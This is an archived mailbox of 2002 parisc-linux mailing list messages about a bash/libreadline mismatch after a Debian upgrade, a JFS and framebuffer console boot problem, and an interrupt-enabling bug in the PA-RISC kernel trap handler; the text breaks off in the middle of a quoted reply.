Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE3374829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Oct 2002 05:19:15 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id BA40880F
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Oct 2002 13:19:10 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id NAA07593 for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Oct 2002 13:17:25 +0200 (METDST)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16534

This is a multi-part message in MIME format.
--------------EB41338C01E7D4FDD572DC6A
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
This morning I start to upgrade my system in order
to have latest tools/binaries and so on.
I did:
apt-get update
-> fine
#apt-get upgrade
-> seems fine
But now when lauching /bin/sh (that is a link on /bin/bash):
/bin/sh: Symbol `vi_insertion_keymap' has different size in shared object, consider re-linking
/bin/sh: Symbol `vi_movement_keymap' has different size in shared object, consider re-linking
/bin/sh: Symbol `emacs_standard_keymap' has different size in shared object, consider re-linking
/bin/sh: Symbol `emacs_ctlx_keymap' has different size in shared object, consider re-linking
/bin/sh: Symbol `emacs_meta_keymap' has different size in shared object, consider re-linking

Where it comes from ?
#dpkg -l bash
ii  bash                       2.05a-2                    The GNU Bourne Again SHell

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------EB41338C01E7D4FDD572DC6A
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------EB41338C01E7D4FDD572DC6A--



From - Thu Nov 08 21:25:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] jfs-1.0.23 as well xfs-cvs break fb console on k-2.4.19-pa22
Date: Mon, 21 Oct 2002 16:43:20 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <3DA56CAE00003DB5@ocpmta8.be.tiscali.com>
References: <20021020034403.AF4F14829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621844 15851 80.91.229.3 (22 Nov 2014 02:04:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@dsl2.external.hp.com>,
	"Joel Soete" <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 21 07:47:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98BE84829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Oct 2002 07:47:34 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 183cu1-0007l0-00; Mon, 21 Oct 2002 15:47:29 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 21 Oct 2002 15:43:20 +0100
In-Reply-To: <20021020034403.AF4F14829@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16535

Oooh,...

>
>Joel Soete wrote:
>> The very first patch 2.4.19 I still have was pa5 and the same problem
occur.
>> It seems definitely that JFS and STI FB in 2.4.19 are incompatible.
>> Where do I have to start my investigation?
>...
>> Really no idea?
>
>Sorry. I don't. And until 2.4.19 boots on the A500-6X,
>I'm not interested in chasing the JFS/STI issue.
>
>My advice is to start adding printk's in the main vfs_ops entry
>points to JFS until you can narrow down which entry point is
>having problems. Then start looking STI to see if anything
>in the JFS code uses the same services or something.
>

it sounds like a gcc bug:

simply adding "printk("VC: %s: %d\n", __FUNCTION__, __LINE__);" some where
in the middle of take_over_console (to check the way) and the problem is
solved???

I met a similar problem in a evms tools where there was two solutions:
a. changing -O2 to -O0 or -O1
b. using gcc-3.2

But here gcc-3.2 produce well a bootable kernel but afaik there is still
a network connection problem (I try to hack this but the only think I reach
to find is that the last called function was show_stack and that was riht
:-))) )

Hmm I currious to try -O0 on the only console part (if possible)?

Regards,
    Joel



From - Thu Nov 08 21:25:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Pb with shared lib/or keymap after apt-get upgrade
Date: Mon, 21 Oct 2002 15:52:59 +0200
Organization: H.P
Lines: 43
Approved: news@gmane.org
Message-ID: <3DB406BB.71C9BC9C@admin.france.hp.com>
References: <3DB3E2AC.7FC260A8@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------7361D639F16A79B5C8A1C883"
X-Trace: ger.gmane.org 1416621844 15855 80.91.229.3 (22 Nov 2014 02:04:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:04 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 21 08:04:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id E008F4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Oct 2002 08:04:41 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 84096EED
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Oct 2002 15:53:02 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id PAA06961 for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Oct 2002 15:51:17 +0200 (METDST)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16536

This is a multi-part message in MIME format.
--------------7361D639F16A79B5C8A1C883
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I've found there the problem is: bash is using the libreadline.so.4
-> when I've upgraded the system this morning, this lib has been 
upgraded, but the timestamp for this lib is:
Aug  2 02:03 libreadline.so.4.3
but for bash it is:
Nov 17  2001 /bin/bash

-> bash is older than a lib that it use -> that's not correct.
If I downgrade libreadline to libreadline.so.4.2
it correct the problem. So I think it would be a good
idea to re-link bash with the latest lib.

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------7361D639F16A79B5C8A1C883
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------7361D639F16A79B5C8A1C883--



From - Thu Nov 08 21:25:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Pb with shared lib/or keymap after apt-get upgrade
Date: Mon, 21 Oct 2002 16:12:31 +0200
Organization: ESIEE
Lines: 35
Approved: news@gmane.org
Message-ID: <3DB40B4F.4050807@esiee.fr>
References: <3DB3E2AC.7FC260A8@admin.france.hp.com> <3DB406BB.71C9BC9C@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621845 15858 80.91.229.3 (22 Nov 2014 02:04:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:05 +0000 (UTC)
To: parisc-linux <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 21 08:15:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 158524829
	for <parisc-linux@parisc-linux.org>; Mon, 21 Oct 2002 08:15:27 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP id 2490E49C21
	for <parisc-linux@parisc-linux.org>; Mon, 21 Oct 2002 16:15:23 +0200 (CEST)
Original-Received: from esiee.fr (grobluk.esiee.fr [147.215.7.22])
	by mail.esiee.fr (Postfix) with ESMTP id 1567649BDE
	for <parisc-linux@parisc-linux.org>; Mon, 21 Oct 2002 16:15:21 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020827
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16537

Bruno Vidal wrote:
 > 	Hi
 > I've found there the problem is: bash is using the libreadline.so.4
 > -> when I've upgraded the system this morning, this lib has been
 > upgraded, but the timestamp for this lib is:
 > Aug  2 02:03 libreadline.so.4.3
 > but for bash it is:
 > Nov 17  2001 /bin/bash
 >
 > -> bash is older than a lib that it use -> that's not correct.
 > If I downgrade libreadline to libreadline.so.4.2
 > it correct the problem. So I think it would be a good
 > idea to re-link bash with the latest lib.

I guess you are running debian unstable, which i wouldn't recommend for
a production machine.

Debian unstable is currently _really_ unstable.

We use testing on some of our prod machines (including the webserver),
it seems far more reliable.

Anyway, as usual, userland problems should be reported to debian mailing
lists.

HTH, Greetings,


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/





From - Thu Nov 08 21:25:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rp2470 hang...getting closer
Date: Mon, 21 Oct 2002 15:59:32 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20021021155932.L5285@parcelfarce.linux.theplanet.co.uk>
References: <20021013044033.88A544829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621845 15860 80.91.229.3 (22 Nov 2014 02:04:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 21 08:59:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B28654837
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Oct 2002 08:59:36 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 183e1k-0008Ti-00; Mon, 21 Oct 2002 15:59:32 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021013044033.88A544829@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Sat, Oct 12, 2002 at 10:40:33PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16538

On Sat, Oct 12, 2002 at 10:40:33PM -0600, Grant Grundler wrote:
> The problem is we shouldn't see *any* interrupts, not even timers.
> scsi_register_host() used spin_lock_irqsave() to acquire io_request_lock.
> Either someone is clobbering the irqsave or it's being ignored.
> That's the part the still needs to be worked out.

I wonder if this is interesting:

void handle_interruption(int code, struct pt_regs *regs)
{
        unsigned long fault_address = 0;
        unsigned long fault_space = 0;
        struct siginfo si;

        if (code == 1)
            pdc_console_restart();  /* switch back to pdc if HPMC */
        else
            sti();

so if we take, say, a page fault, we reenable interrupts on all CPUs.
Who the hell put this code in there?!

Thanks to Thibaut for finding this particular excrescence during
CONFIG_SMP frobbing on 2.5.  I'm not sure what this should be changed to.
local_irq_enable?  Do we want interrupts enabled at this point?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rp2470 hang...getting closer
Date: Mon, 21 Oct 2002 16:26:26 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20021021162626.A1356@parcelfarce.linux.theplanet.co.uk>
References: <20021013044033.88A544829@dsl2.external.hp.com> <20021021155932.L5285@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621845 15866 80.91.229.3 (22 Nov 2014 02:04:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:05 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 21 09:26:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7ED294829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Oct 2002 09:26:29 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 183eRm-0000Vx-00; Mon, 21 Oct 2002 16:26:26 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021021155932.L5285@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Mon, Oct 21, 2002 at 03:59:32PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16539

On Mon, Oct 21, 2002 at 03:59:32PM +0100, Matthew Wilcox wrote:
> so if we take, say, a page fault, we reenable interrupts on all CPUs.
> Who the hell put this code in there?!
> 
> Thanks to Thibaut for finding this particular excrescence during
> CONFIG_SMP frobbing on 2.5.  I'm not sure what this should be changed to.
> local_irq_enable?  Do we want interrupts enabled at this point?

ok, going back through the CVS logs finds the answer:

http://cvs.parisc-linux.org/obsolete/linux-2.3/arch/parisc/kernel/traps.c#rev1.9

Revision 1.9 / (as text) / (view) - annotate - [select for diffs] , Tue Feb 15 17:02:03 2000 UTC (2 years, 8 months ago) by jsm
Branch: MAIN
Changes since 1.8: +11 -2 lines
Diff to previous 1.8

Enable interrupts in fault path. Trap kernel space faults.

So I think we want to change the sti() call to local_irq_enable().

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] jfs-1.0.23 as well xfs-cvs break fb console on k-2.4.19-pa22
Date: Mon, 21 Oct 2002 09:42:54 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20021021164254.GW5602@tausq.org>
References: <20021020034403.AF4F14829@dsl2.external.hp.com> <3DA56CAE00003DB5@ocpmta8.be.tiscali.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621846 15872 80.91.229.3 (22 Nov 2014 02:04:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:06 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	Joel Soete <joel.soete@freebel.net>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 21 10:39:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33E944829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Oct 2002 10:39:22 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 23834CD83C; Mon, 21 Oct 2002 09:42:54 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3DA56CAE00003DB5@ocpmta8.be.tiscali.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16540

> it sounds like a gcc bug:
> 
> simply adding "printk("VC: %s: %d\n", __FUNCTION__, __LINE__);" some where
> in the middle of take_over_console (to check the way) and the problem is
> solved???

unlikely a gcc bug, more likely is that the code has some timing
dependencies and adding printk changed the timing.

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] jfs-1.0.23 as well xfs-cvs break fb console on k-2.4.19-pa22
Date: Mon, 21 Oct 2002 19:48:48 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <3DA56CAE00003F03@ocpmta8.be.tiscali.com>
References: <20021021164254.GW5602@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621846 15873 80.91.229.3 (22 Nov 2014 02:04:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:06 +0000 (UTC)
Cc: "Grant Grundler" <grundler@dsl2.external.hp.com>,
	"Joel Soete" <joel.soete@freebel.net>,
	parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 21 10:52:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm6.tiscalinet.be [212.35.2.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id 235BE4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Oct 2002 10:52:36 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 183fn3-0006pi-00; Mon, 21 Oct 2002 18:52:29 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 21 Oct 2002 18:48:48 +0100
In-Reply-To: <20021021164254.GW5602@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16541

>-- Original Message --
>Date: Mon, 21 Oct 2002 09:42:54 -0700
>From: Randolph Chung <randolph@tausq.org>
>To: jsoe0708@tiscali.be
>Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
